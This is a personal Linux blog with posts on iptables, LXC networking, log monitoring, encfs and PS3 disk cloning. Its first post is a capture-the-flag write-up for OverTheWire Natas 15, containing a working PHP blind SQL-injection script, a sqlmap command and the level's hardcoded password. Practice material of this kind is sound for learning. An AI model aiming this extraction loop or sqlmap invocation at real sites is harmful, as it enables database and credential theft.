Daniels Blog
13Dez/160

Overthewire Wargame – Natas 15 [spoiler]

This is my solution for Natas 15 (http://overthewire.org/wargames/natas/natas15.html).
This has been my first time trying to do a blind SQL-injection so it took some time and reading to
finaly succeed. This very nice writeup tought me the technique i am using in my code: (http://sqlinjections.blogspot.de/2009/04/sql-injection-tutorial-by-marezzi-mysql.html)

Natas 15 was real fun. I learned a lot and I couldn't believe that I finaly made it work (after 6 hours or so) 😉

#!/usr/bin/php

function send_req($inject)
{
    
    $u = "natas15";
    $p = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J";
 
    $inject = urlencode($inject);

    $url = "http://$u:$p@natas15.natas.labs.overthewire.org/?username=$inject&debug=1";
    
    $data = file($url);
    
    $data = $data[13];
    if (str_replace("doesn't","",$data)!=$data)
    $success = 0;
    else
    $success = 1;
    
    return($success);  
}

function probe_offset($offset)
{
    $char = 47;

    while ($char < 130) { $inj = 'natas16" and ascii(substring((SELECT password from users where username="natas16"),' . $offset . ',1))>' . $char . '-- -';
    $res = send_req($inj);

    echo ".";
    if ($res == 0)
    {
    return(chr($char));
    } 
    $char ++;
    }

}

$pass = "";
$offset = 1;
while ($offset < 33)
{
$good = probe_offset($offset);
echo $good;
$offset++;
$pass .= $good;
}

echo "\n\n Here we go :) $pass  \n\n";




If you are lazy, you could have used sqlmap:

sqlmap -u natas15.natas.labs.overthewire.org/index.php?username=natas16 --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --auth-type=Basic --dbms=mysql --string=exists --level=3  --batch --current-db -T users -D natas15 -a
veröffentlicht unter: Linux keine Kommentare
24Nov/160

Simulating a bad connection / packet loss with iptables

This will randomly drop 60% of outgoing packages with a local process as source.
Use it for testing purposes or if you need a good laugh.

#!/bin/bash
iptables -A OUTPUT -m statistic --mode random --probability 0.6 -j DROP
veröffentlicht unter: Linux keine Kommentare
24Nov/160

Iptables revised

640px-hilofilter-agr

Just a backup of the updated iptables setup for my gateway box:

[CABLE MODEM] - [eth0 GATEWAY eth1] - [LAN SWITCH] - - - [CLIENTS]

Thanks to O'Reilly for this great book that helped me a lot: Linux iptables Pocket Reference

#!/bin/bash                                                                                                                                                   
                                                                                                                                                        
wan_nic=eth0                                                                                                                                
lan_nic=eth1                                                                                                                                 
lan_nic_ip=192.168.1.69                                                                                                                     
lan_network=192.168.1.0/24                                                                                                                                                                                                                                                                                    
# PORT MAPPING FUNCTION
MAP(){
iptables -A PREROUTING -t nat -i $wan_nic -p $1 --dport $2 -j DNAT --to $3:$4
echo "PORTMAP: Mapped a port. localhost:$2 ($1) -> $3:$4 [$5]"
}


# Del old rules
iptables -t filter -F
iptables -t nat -F
iptables -t mangle -F 
echo "Deleted old rules"

# Default Policies
#iptables -P PREROUTING ACCEPT
iptables -P FORWARD ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
#iptables -P POSTROUTING ACCEPT
echo "Set default policies"

# Enable NAT
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Enabled ip_forward in kernel"

###### INPUT LOCAL

# FROM EVERYWHERE
iptables -A INPUT -p icmp -j ACCEPT

# FROM LOCAL TO LOCAL
iptables -A INPUT -i lo -j ACCEPT

# FROM LAN TO LOCAL

# Needed for DHCP clients (no ip yet so allow interface, not ip range)
iptables -A INPUT -i $lan_nic -j ACCEPT

# Allow LAN TO LOCAL
iptables -A INPUT -s $lan_network -j ACCEPT

# ALLOW PACKAGES SENT FROM GW TO WAN TO COME BACK
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# FROM WAN TO LOCAL
iptables -A INPUT ! -s $lan_network -j DROP

echo "Configured INPUT CHAIN"

###### OUTPUT LOCAL (done with default policy)
# FROM LOCAL TO LAN
# FROM LOCAL TO WAN
# FROM LOCAL TO LOCAL

###### FORWARD
# FORWARD FROM LAN TO WAN


# LOCK BAD CLIENTS IN LAN
#SONY TV
iptables -A FORWARD -s 192.168.1.20 -j DROP
#NETGEAR
iptables -A FORWARD -s 192.168.1.100 -j DROP
#DLINK
iptables -A FORWARD -s 192.168.1.101 -j DROP

echo "Configured FORWARD chain"


# FORWARD FROM WAN TO LAN

# NAT the LAN
/sbin/iptables -t nat -A POSTROUTING -o $wan_nic -j MASQUERADE

echo "Enabled MASQUERADEing"

# Don't forward unrelated packages from the outside
iptables -A FORWARD -i $wan_nic -m state --state INVALID -j DROP 

echo "DISABLED FORWARDING for connections from the outside"

# Portmappings from WAN to LAN
MAP tcp 80    192.168.1.2 80  SRV_HTTP




# FINALIZE

/etc/init.d/networking restart
echo
echo
dhclient -v eth0
echo 
echo
ping -c1 134.99.128.2
echo
echo
ping -c1 192.168.1.2

echo
echo 
echo "done"

veröffentlicht unter: Linux keine Kommentare
8Nov/160

IP-Adressen in Apache Logfiles anonymisieren mit PipedLogs

Ich hatte gestern eine Aufgabe, fĂŒr die ich zunĂ€chst keine einfache Lösung gesehen habe: Ich wollte in den Apache-Logfiles die IP-Adressen anonymisieren. Also aus den geloggten IP-Adressen Teile entfernen um noch ein rudimentĂ€res Logging der einzelnen Besucher zu haben, aber nicht mehr ihre kompletten IPs mitzuschreiben.

So sollte aus einer 212.122.113.145 eine ***.***.*13.145 werden.
Dies sollte - um möglichst grosse Sicherheit zu garantieren - nicht nachtrÀglich geschehen, sondern live im Logvorgang des Apache.
Es sollten also niemals die kompletten IPs auf der Platte landen

Nach etwas Recherche bin ich auf eine mir bis dahin unbekannte Apache-FunktionalitÀt gestossen: PipedLogs.

PipedLogs ermöglichen es in der Apachekonfiguration fĂŒr einen VirtualHost nicht einen Logfile anzugeben sondern ein Skript festzulegen, das bei jedem Logvorgang gestartet wird und als Standardeingabe die Logzeile vom Apache erhĂ€lt.

In der Config vom entsprechenden VirtualHost sieht das Ganze so aus:

LogFormat "%h %l %u %t \"%r\" %>s %b" common
CustomLog "|/root/scripts/anonymize_apache" common

Jeder Logentry wird somit durchgereicht an das Script /root/scripts/anonymize_apache

Der Rest ist nur noch eine Kleinigkeit mit der BASH:

#!/bin/bash

#/root/scripts/anonymize_apache

# Von Standardeingabe lesen
read logline

# Mit sed die gewĂŒnschten Teile der IP wegschnippseln
anon=$(echo $logline | sed -r 's/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]/***.***.*/g'  )

# Das Ergebnis anonymisiert ins Logfile zurĂŒckschreiben 
echo $anon  >> /var/log/apache2/myvirtualhost.anon.log

Edit: Habe nach dem Verfassen des Artikels ein Skript gefunden, das mehr FunktionalitÀt bietet als mein Dreizeiler:
https://www.privacyfoundation.ch/de/service/anonip.html

veröffentlicht unter: Linux keine Kommentare
5Okt/150

LPIC 101 Lernvideos

Ich hatte schon seit ewigen Zeiten vor endlich mal LPIC2 zu machen. Die 201 habe ich bereits vor einigen Jahren bestanden und es bisher immer verklĂŒngelt die 202 zu machen. Irgendwie hat man ja in seiner Freizeit (fast) immer was besseres zu tun 😉 Trotztdem dachte ich mir, dass es doch noch ein schönes Ziel fĂŒr 2015 wĂ€re, das Ganze endlich hinter mich zu bringen.

So weit so gut. Ich habe mich also bei LPI eingeloggt um mich fĂŒr die 202 anzumelden und dabei mit Schrecken festgestellt, dass mein Level 1 vor 3 Monaten abgelaufen war. Meine Hoffnung war nun, dass ich die PrĂŒfung 202 trotzdem ablegen kann, da ich 201 bereits besitze aber dem war leider nicht so.

"Sie mĂŒssen zunĂ€chst fĂŒr Level 1 zertifiziert sein um Level 2 PrĂŒfungen abzulegen". Verdammt! Immerhin ist kein erneutes Ablegen der 201 notwendig. Trotzdem war ich natĂŒrlich alles andere als begeistert mich noch einmal durch die 1 zu quĂ€len.

Nach einigen Tagen des Haderns habe ich mich entschlossen noch einmal LPIC1 zu machen und das Ganze mit kommentierten Lernvideos zu begleiten. Deshalb heute nach meiner bestandenen 101-400 PrĂŒfung auch meine erste Videoserie auf YouTube. Vielleicht hilft es jemandem, der gerade auch fĂŒr die 101 lernt.

Meine LPIC 101 Videos gibt es hier: Lets Learn LPIC 101 deutsch - Youtube

veröffentlicht unter: Linux keine Kommentare
30Dez/140

Debian Jessie LXC networking. Containers with public and NATed IPs

It took me some time to get this working so it's time for a blog post:

Scenario
This was a setup for a server in a data center with a public IP address. The server has one physical interface with a public routable IP address. Additionaly I ordered another public IP address for the server to be used in one of the LXC containers.

I have two containers.

Container A
"A" gets a public routable IP-address to be reachable from the internet without NATing

Container B
"B" gets a private IP address and can only be reached thru NAT and port-mappings

Host
Host has 5.5.5.1 as main public IP
Container A has 5.5.5.2 as "virtual" IP
Container B has 10.10.10.1 as NATed private IP

HOST SETUP:



#NETWORKING CONFIG ON HOST
#/etc/network/interfaces

auto lo
iface lo inet loopback


allow-hotplug eth0
iface eth0 inet manual
   pre-up   ifconfig eth0 up
   pre-down ifconfig eth0 down


auto  br0
iface br0 inet static
  address   5.5.5.1
  broadcast broadcast.ip
  netmask   netmask.ip
  gateway   gateway.ip
  bridge_ports eth0
  bridge_fd 0
  bridge_maxwait 0


auto  br1
iface br1 inet static
  address   10.10.10.100
  netmask   255.255.255.0
  bridge_fd 0
  bridge_maxwait 0
  pre-up brctl addbr br1
  up iptables -t nat -F POSTROUTING

  # Exclude boxes with static IPs from Natting
  up iptables -A PREROUTING -t nat -i br0 -p tcp -s 5.5.5.2 -j ACCEPT


  # Enable Forwarding for NATed boxes
  up iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o br0 -j MASQUERADE

  # example PORT FORWARDINGS FOR Mailserver
  up iptables -A PREROUTING -t nat -i br0 -p tcp --dport 25 -j DNAT --to 10.10.10.1:25
  up iptables -A PREROUTING -t nat -i br0 -p tcp --dport 465 -j DNAT --to 10.10.10.1:465
  up iptables -A PREROUTING -t nat -i br0 -p tcp --dport 587 -j DNAT --to 10.10.10.1:587

  # example PORT FORWARDINGS FOR Webserver
  up iptables -A PREROUTING -t nat -i br0 -p tcp --dport 80 -j DNAT --to 10.10.10.2:80
  up iptables -A PREROUTING -t nat -i br0 -p tcp --dport 443 -j DNAT --to 10.10.10.2:443

  post-down iptables -F
  post-down iptables -t nat -F
  post-down brctl delbr br1



#IP forwarding must be enabled in the kernel as well (don't forget reboot)
#/etc/sysctl.conf
net.ipv4.ip_forward=1

CONTAINER A Setup (static virtual public IP):

lxc.utsname = containershostname
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0

# This is the MAC for the public IP i got from my provider
# container gets IP by providers DHCP
lxc.network.hwaddr = 00:11:22:33:44:55

CONTAINER B Setup (static NATed private IP):

lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br1
lxc.network.ipv4= 10.10.10.1
lxc.network.ipv4.gateway = 10.10.10.100
18Nov/142

Schriftfarbe von Objekten auf dem Cinnamon Desktop Àndern

Heute mal etwas kosmetisches, das mich ewig genervt hat: Je nach GTK3-Theme Àndert sich die Schriftfarbe von Ordnern und Dateien auf dem Cinnamon-Desktop, so dass die Schrift bei manchen Wallpapers kaum noch lesbar ist.

Man kann das Ganze zum GlĂŒck global Ă€ndern, habe nur ewig gebraucht um herauszufinden wo.
Hier ein Beispiel fĂŒr weisse Font:

# Datei anlegen: $HOME/.config/gtk-3.0/gtk.css

.nemo-desktop.nemo-canvas-item {
color: #FFFFFF;
background-color: #5E80A0;
text-shadow: 1px 1px @desktop_item_text_shadow;
}
23Jun/140

VAULT – A small script to create and mount encfs encrypted directories on the fly

This small script will allow you to create, mount and unmount encfs directories on the fly.
As the need for encryption seems to rise all the time, usable solutions always come in handy.

You can create a safe storage for sensible data quickly and easily with this script.

All you need to do to is to install encfs with your distrubutions package manager and adjust the tiny CONFIG section to your needs.
The script will take care of the rest (hopefully).

Comments welcome.

#!/bin/bash
#
# VAULT
# DR 20140624
# http://www.daniel-ritter.de/blog/vault-create-and-mount-encfs-encrypted-directories-on-the-fly
# 
# 
# CREATE AND MOUNT ENCFS ENCRYPTED DIRECTORIES ON THE FLY
#
# ENCFS NEEDS TO BE INSTALLED (apt-get install encfs for Debian/Ubuntu)
# ADJUST CONFIG SECTION TO YOUR NEEDS
#
# NO GUARANTEES, KNOW WHAT YOU ARE DOING
# THIS IS LICENSED WITH GPL
# http://www.gnu.org/licenses/gpl.txt



# CONFIG

VAULTBASEDIR=/home/myusername
FILEMANAGER=nautilus

# END OF CONFIG


clear
echo "VAULT"
echo


# INITIAL SETUP creates directories and sets up encryption
if [ ! -d "$VAULTBASEDIR/.vault_dec" ];then
echo "NO VAULT FOUND. CREATING..."
echo
echo
encfs $VAULTBASEDIR/.vault $VAULTBASEDIR/.vault_dec
touch $VAULTBASEDIR/.vault_dec/mounted
fusermount -u $VAULTBASEDIR/.vault_dec
echo
echo
echo "VAULT CREATED. RUN vault TO LOCK AND UNLOCK IT."
exit
fi



# VAULT is unlocked, lock it
if [[ -e $VAULTBASEDIR/.vault_dec/mounted ]];then
echo "Locking VAULT"
echo
fusermount -u $VAULTBASEDIR/.vault_dec
ls -la $VAULTBASEDIR/.vault_dec
echo
echo
echo "LOCKED"


# VAULT IS LOCKED, unlock it and open filemanager
else
echo "UNLOCKING VAULT"
encfs $VAULTBASEDIR/.vault $VAULTBASEDIR/.vault_dec
$FILEMANAGER $VAULTBASEDIR/.vault_dec
fi

veröffentlicht unter: Linux, Ubuntu keine Kommentare
11Nov/130

Pound Reverse Proxy fĂŒr HTTP und HTTPS – Quick and dirty Howto auf Debian Squeeze

Pound ist ein Loadbalancer und Reverse Proxy fĂŒr HTTP und HTTPS. Hier ein Quick and Dirty Setup fĂŒr das HTTPS-Proxying eines HTTP-Servers. Praktisch um zum Beispiel einem Webdienst, der kein HTTPS unterstĂŒtzt, trotzdem eine sichere Verbindung zu spendieren.

Pound installieren

apt-get install pound

SSL-Key und Zertifikat generieren
Pound erwartet Zertifikat und Key in einer! Datei.

cd /etc/ssl
mkdir pound
cd pound
openssl req -x509 -newkey rsa:1024 -keyout pound.pem -out pound.pem -days 9999999 -nodes

Pound konfigurieren
(Alle eingehenden Verbindungen an https://192.168.1.2:9999 werden weitergeleitet an 127.0.0.1:8000)

#/etc/pound/pound.cfg

######################################################################
## global options:

User            "www-data"
Group           "www-data"
#RootJail       "/chroot/pound"

## Logging: (goes to syslog by default)
##      0       no logging
##      1       normal
##      2       extended
##      3       Apache-style (common log format)
LogLevel        1

## check backend every X secs:
Alive           30

## use hardware-accelleration card supported by openssl(1):
#SSLEngine      ""

# poundctl control socket
Control "/var/run/pound/poundctl.socket"


######################################################################
## listen, redirect and ... to:

## redirect all requests on port 8080 ("ListenHTTP") to the local webserver (see "Service" below):
ListenHTTPS
        Address 192.168.1.2
        Port    9999
        Cert    "/etc/ssl/pound/pound.pem"

        ## allow PUT and DELETE also (by default only GET, POST and HEAD)?:
        xHTTP           1

        Service
                BackEnd
                        Address 127.0.0.1
                        Port    8000
                End
        End
End

In Debian den Daemon enablen

#/etc/default/pound
startup=1

Pound starten

/etc/init.d/pound start
6Nov/132

Die Festplatte der PS3 auf eine grĂ¶ĂŸere Festplatte klonen mit Linux

2013-11-06-20-51-04-820

Die Festplatte meiner Uralt-PS3 wurde nun endlich mit ihren 80GB zu klein. Zum GlĂŒck hatte ich noch eine 500GB-Platte herumfliegen und habe diese meiner Konsole spendiert.

Die ganze Sache war leider ziemlich zeitaufwĂ€ndig. HĂ€tte ich eine weitere Platte fĂŒr ein Backup mit dem PS3-Systemprogramm gehabt, hĂ€tte ich mir viel Kopiererei sparen können. Aber es ging auch so...

FĂŒr diese etwas komplizierte Methode braucht man:

  • Die alte Platte aus der PS3
  • Eine neue Platte
  • Einen PC mit genug Platz auf der Platte um die alte Platte komplett aufzunehmen
  • Einen SATA-USB-Adapter

AUSBAU: ZunÀchst baut man die Platte aus der PS3 aus. Das geht ziemlich einfach. An der linken Seite befindet sich eine Plastikabdeckung, die man aufwippen kann. Danach entfernt man die blaue Schraube und kann den Schlitten mit der Platte einfach aus der Konsole herausziehen.

ORIGINALPLATTE AUSLESEN: Nun benötigt man einen USB-SATA Adapter, um die Platte an einen Rechner anschließen zu können. Auf dem Rechner muss genug Platz sein, um die komplette Platte aufzunehmen. Das Auslesen selbst geht ganz einfach.

ZunÀchst /var/log/syslog beim Anstecken der Platte per USB mitlesen um den Devicenamen zu erhalten..


> tail -f /var/log/syslog
...
Nov  6 20:38:27 think kernel: [ 3035.910418] sd 7:0:0:0: [sdb] 156301488 512-byte logical blocks: (80.0 GB/74.5 GiB)
Nov  6 20:38:27 think kernel: [ 3035.913066] sd 7:0:0:0: [sdb] Write Protect is off
Nov  6 20:38:27 think kernel: [ 3035.913075] sd 7:0:0:0: [sdb] Mode Sense: 28 00 00 00
Nov  6 20:38:27 think kernel: [ 3035.914499] sd 7:0:0:0: [sdb] No Caching mode page found
Nov  6 20:38:27 think kernel: [ 3035.914507] sd 7:0:0:0: [sdb] Assuming drive cache: write through
Nov  6 20:38:27 think kernel: [ 3035.919639] sd 7:0:0:0: [sdb] No Caching mode page found
Nov  6 20:38:27 think kernel: [ 3035.919646] sd 7:0:0:0: [sdb] Assuming drive cache: write through
Nov  6 20:38:27 think kernel: [ 3036.013996]  sdb: unknown partition table
Nov  6 20:38:27 think kernel: [ 3036.019555] sd 7:0:0:0: [sdb] No Caching mode page found
Nov  6 20:38:27 think kernel: [ 3036.019562] sd 7:0:0:0: [sdb] Assuming drive cache: write through
Nov  6 20:38:27 think kernel: [ 3036.019567] sd 7:0:0:0: [sdb] Attached SCSI disk

Prima. Die PS3-Platte ist nun unter /dev/sdb erreichbar.

Nun kann die komplette Platte in eine einzelne Datei ausgelesen werden.

> sudo su
> dd if=/dev/sdb of=/tmp/ps3.disk bs=50000

Nun muss man warten, bis die Kopie fertig ist. Man kann sich allerdings in einem neuen Terminalfenster ansehen, wie weit der Kopiervorgang fortgeschritten ist:

> watch "ls -hla /tmp | grep disk"
-rw-r--r--  1 root root  43G Nov  6 21:13 ps3.disk

Der ganze Vorgang hat bei mir ziemlich genau eine Stunde gedauert.

N1600527+1 DatensÀtze ein
1600527+1 DatensÀtze aus
80026361856 Bytes (80 GB) kopiert, 3600,04 s, 22,2 MB/s

KOPIE AUF DIE NEUERE, GRÖßERE PLATTE ZURÜCKSPIELEN: Nun tauscht man die Platten am SATA-USB-Adapter aus und schließt die neue, grĂ¶ĂŸere Platte an. Das ZurĂŒckspielen der Daten dauert dann noch einmal genausolang und kann wieder mit "dd" erledigt werden.

> dd if=/tmp/ps3.disk of=/dev/sdb bs=50000

DIE NEUE PLATTE EINBAUEN: Nun hat man eine Kopie der Originalplatte auf der neuen Platte. Diese wird jetzt in die PS3 eingebaut. Wenn die PS3 hochfĂ€hrt und noch alle Daten vorhanden sind und Spiele gestartet werden können, ist alles glatt gelaufen. Nun hat man zwar eine Kopie der alten Platte auf der Neuen, aber die alte Partitionierung wurde mitkopiert. Die neue Platte hat also auch nur den freien Platz der alten Platte verfĂŒgbar. Ich habe keine Möglichkeit gefunden, die Partition der Platte zu vergrĂ¶ĂŸern, SONY nutzt leider kein Standard-Dateisystem. Deshalb sind die nĂ€chsten Schritte auch noch notwendig.

DIE ALTE PLATTE ZUM BACKUP DER SPIELDATEN DER PS3 NUTZEN: Die alte Platte wird nun wieder an den SATA-USB-Adapter gesteckt und mit FAT32 formatiert.

>  mkfs.vfat -I -F32 /dev/sdb 

Die formatierte alte Platte kann jetzt per USB an die PS3 angeschlossen werden. Mit ihr fĂŒhrt man nun ĂŒber das Playstation-MenĂŒ eine Sicherung der Spieldateien durch.

Vor dem Backup sollte man seine TropÀhen noch einmal synchronisieren. Sie werden mit dem lokalen Backup NICHT mitgesichert.

#PS3 MenĂŒ
 [PSN] > [TrophÀen-Sammlung] > Dreieck > TrophÀen synchronisieren.

Jetzt kann man endlich die Daten auf die alte angeschlossene Platte sichern:

#PS3 MenĂŒ
 [Einstellungen] > [System-Einstellungen] > [Datensicherungsprogramm] > [Sichern]

DIE NEUE (EINGEBAUTE) PLATTE LÖSCHEN UND DANACH DIE SICHERUNG VON DER ALTEN PLATTE ZURÜCKSPIELEN:

Neue (eingebaute) Platte löschen:

#PS3 MenĂŒ
 [Einstellungen] > [System-Einstellungen] > [Formatierungs-Dienstprogramm] > [Systemspeicher formatieren]

Jetzt steht endlich der volle Speicherplatz der neuen Platte zur VerfĂŒgung.

Nun muss nur noch das Backup von der alten Platte zurĂŒckgespielt werden:

#PS3 MenĂŒ
 [Einstellungen] > [System-Einstellungen] > [Datensicherungsprogramm] > [Wiederherstellen]

Voila, ich habe alle meine Daten komplett behalten, aber habe jetzt 420GIG mehr Platz und die Platte ist um einiges schneller als die alte. Sehr schön.

Anmerkungen:
Leichter wĂ€re alles gegangen mit einer weiteren Platte, die ich leider nicht zur VerfĂŒgung hatte:
PS3-Platte direkt mit der PS3 auf die weitere Platte sichern -> Neue grosse Platte einbauen -> Alles von der weiteren Platte zurĂŒcksichern.

Wenn man einen PC zur VerfĂŒgung hat (ich hatte nur ein Notebook) sollte man die Kopiererei auch nicht ĂŒber USB machen sondern die Platten direkt an die SATA-Ports des Boards hĂ€ngen. Viel schneller.

10Sep/130

CanoScan Lide 110: Out of the box Hardware fĂŒr Ubuntu

canoscanlide110

Erfreulich problemlos funktioniert dieser Flachbettscanner unter Ubuntu 13.04. Per USB anstecken. Fertig. Danach kann direkt mit Tools wie "Simple Scan" gescannt werden. So soll es ein.

Möglich, dass es Probleme mit der "E-Mail-Taste" und der "Photokopier-Taste" gibt. Da ich diese Funktionen nicht benötige kann ich dazu nichts sagen, zum reinen Scannen ist das GerÀt allerdings super.

# /var/log/syslog nach dem Einstecken

Sep 10 15:15:45 think kernel: [  117.489711] usb 3-2: new high-speed USB device number 3 using xhci_hcd
Sep 10 15:15:45 think kernel: [  117.507211] usb 3-2: New USB device found, idVendor=04a9, idProduct=1909
Sep 10 15:15:45 think kernel: [  117.507218] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
Sep 10 15:15:45 think kernel: [  117.507222] usb 3-2: Product: CanoScan
Sep 10 15:15:45 think kernel: [  117.507225] usb 3-2: Manufacturer: Canon
Sep 10 15:15:45 think colord: Device added: sysfs-Canon-CanoScan
#Kernel                                                                                               
Linux think 3.8.0-30-generic #44-Ubuntu SMP Thu Aug 22 20:52:24 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux    
15Mai/132

Logfile Monitoring und E-Mail Benachrichtigung mit swatch unter Debian und Ubuntu

logfiles_mit_swatch_monitoren

Logfiles enthalten viele wertvolle Informationen. Eine Platte ist defekt, das RAID gibt den Geist auf, ein Backup ist fehlgeschlagen oder die Batterie von der USV ist kaputt. Leider bekommt man von diesen wichtigen Infos wenig mit, wenn man sich ĂŒber auftauchende Probleme nicht automatisiert benachrichtigen lĂ€sst. Niemand kann (oder will :)) tĂ€glich alle anfallenden Logs checken.

Ein einfaches und effektives Monitoring kann man sich mit dem kleinen Daemon "swatch" einrichten. Swatch liest live Logfiles mit und fĂŒhrt Aktionen aus, wenn bestimmte SchlĂŒsselworte in den Logfiles auftauchen.

Hier ein Quick and Dirty Setup um das Logfile von rsnapshot, einem Backuptool zu monitoren und bei Problemen eine Mail zu versenden:

# swatch installieren
apt-get -y install swatch

Nun muss man sich das Logfiles das ĂŒberwacht werden soll ansehen und identifizieren, was dort gelogged wird, wenn Fehler auftauchen. Hier als Beispiel das Logfile von rsnapshot nach einem Backup, das Probleme verursacht hat:

[15/May/2013:01:00:21] require Lchown
[15/May/2013:01:00:21] Lchown module loaded successfully
[15/May/2013:01:00:21] /usr/bin/rsnapshot daily: started
[15/May/2013:01:00:21] Setting locale to POSIX "C"
[15/May/2013:01:00:21] echo 13895 > /var/run/rsnapshot.pid
[15/May/2013:01:00:21] /root/scripts/nas-backup
[15/May/2013:01:00:26] /bin/rm -rf /media/net/nas1/data/daily.6/
[15/May/2013:01:13:30] mv /media/net/nas1/data/daily.5/ /media/net/nas1/data/daily.6/
[15/May/2013:01:13:30] mv /media/net/nas1/data/daily.4/ /media/net/nas1/data/daily.5/
[15/May/2013:01:13:30] mv /media/net/nas1/data/daily.3/ /media/net/nas1/data/daily.4/
[15/May/2013:01:13:30] mv /media/net/nas1/data/daily.2/ /media/net/nas1/data/daily.3/
[15/May/2013:01:13:30] mv /media/net/nas1/data/daily.1/ /media/net/nas1/data/daily.2/
[15/May/2013:01:13:30] /bin/cp -al /media/net/nas1/data/daily.0 /media/net/nas1/data/daily.1
[15/May/2013:01:30:07] /usr/bin/rsync -av --delete --numeric-ids --relative --delete-excluded /media/local/share /media/net/nas1/data/daily.0/localhost/
[15/May/2013:01:32:19] rsync succeeded
[15/May/2013:01:32:19] /usr/bin/rsync -av --delete --numeric-ids --relative --delete-excluded /etc /media/net/nas1/data/daily.0/localhost/
[15/May/2013:01:32:21] rsync succeeded
[15/May/2013:01:32:21] /usr/bin/rsync -av --delete --numeric-ids --relative --delete-excluded /home /media/net/nas1/data/daily.0/localhost/
[15/May/2013:03:28:06] rsync succeeded
[15/May/2013:03:28:06] /usr/bin/rsync -av --delete --numeric-ids --relative --delete-excluded /var /media/net/nas1/data/daily.0/localhost/
[15/May/2013:03:55:06] /usr/bin/rsnapshot daily: ERROR: /usr/bin/rsync returned 12 while processing /var/
[15/May/2013:03:55:06] /usr/bin/logger -i -p user.err -t rsnapshot /usr/bin/rsnapshot daily: ERROR: /usr/bin/rsync returned 12 while processing /var/
[15/May/2013:03:55:06] touch /media/net/nas1/data/daily.0/
[15/May/2013:03:55:08] No directory to delete: /media/net/nas1/data/_delete.13895
[15/May/2013:03:55:08] rm -f /var/run/rsnapshot.pid
[15/May/2013:03:55:08] /usr/bin/logger -i -p user.err -t rsnapshot /usr/bin/rsnapshot daily: ERROR: /usr/bin/rsnapshot daily: completed, but with some errors
[15/May/2013:03:55:08] /usr/bin/rsnapshot daily: ERROR: /usr/bin/rsnapshot daily: completed, but with some errors

Im rsnapshot-Log tauchen also die Wörter "ERROR:" und "errors" auf, falls es Probleme gibt. Dies teilt man Swatch in einer neu angelegten Konfigurationsdatei mit:

#/etc/swatch/watch_rsnapshot
watchfor /ERROR|errors/
mail addresses=daniel\@daniel-ritter.de,subject=RSNAPSHOT_BACKUP_HAT_WARNUNG_GENERIERT

In der "watchfor"-Zeile werden die zu ĂŒberwachenden SchlĂŒsselwörter konfiguriert, in der "mail"-Zeile gibt man eine Mail-Adresse und ein Subject fĂŒr die Warn-Email an.

Nun muss swatch nur noch gestartet werden:

/usr/bin/swatch  --config-file=/etc/swatch/watch_rsnapshot --tail-file=/var/log/rsnapshot.log --daemon

Fallstricke:

- Das Starten von swatch muss in die Startskripte des Servers eingefĂŒgt werden, damit swatch nach einem Reboot sofort wieder mit der Überwachung beginnt.

- Das E-Mail System des Servers muss funktionieren. Am Besten generiert man eine Testmail und ĂŒberprĂŒft, ob sie tatsĂ€chlich bei der konfigurierten E-Mail Adresse ankommt. DafĂŒr kann man einfach eines der zu ĂŒberwachenden SchlĂŒsselworte an die ĂŒberwachte Logdatei anhĂ€ngen.

echo "errors" >> /var/log/rsnapshot.log

Bei Problemen schaut man am Besten in den Logdateien des MTA nach um dem Fehler auf die Schliche zu kommen /var/log/exim4/mainlog (Exim) oder /var/log/mail.log (Postfix)

veröffentlicht unter: Linux, Ubuntu 2 Kommentare